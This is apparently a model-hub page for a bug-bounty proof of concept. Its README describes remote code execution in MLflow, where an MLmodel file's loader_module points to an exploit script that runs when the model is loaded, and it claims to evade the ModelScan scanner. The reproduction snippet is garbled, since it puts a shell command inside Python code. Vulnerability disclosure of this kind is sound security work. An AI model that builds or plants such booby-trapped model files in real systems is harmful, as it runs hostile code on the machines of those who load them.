Downloads · 30 days
0
xiaoyaoes/mlflow-pyfunc-rce-poc
mlflow-pyfunc-rce-poc is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Downloads · 30 days
0
Access
Public
Updated Jul 5, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
Other1.6 KB · 62%
From the Hugging Face model README
Format: MLFlow
Attack: loader_module + code_path → importlib.import_module() → RCE at model load time
How to reproduce:
pip install mlflow
python3 -c "
import mlflow.pyfunc
mlflow.pyfunc.load_model('.')
whoami > /tmp/pwned.txt
"
PoC files:
MLmodel — specifies loader_module: exploit and code: code/code/exploit.py — top-level code runs at import timeBypasses: ModelScan (protectai/modelscan) — no scanner for MLmodel metadata
Submitted to: huntr.com MFV bounty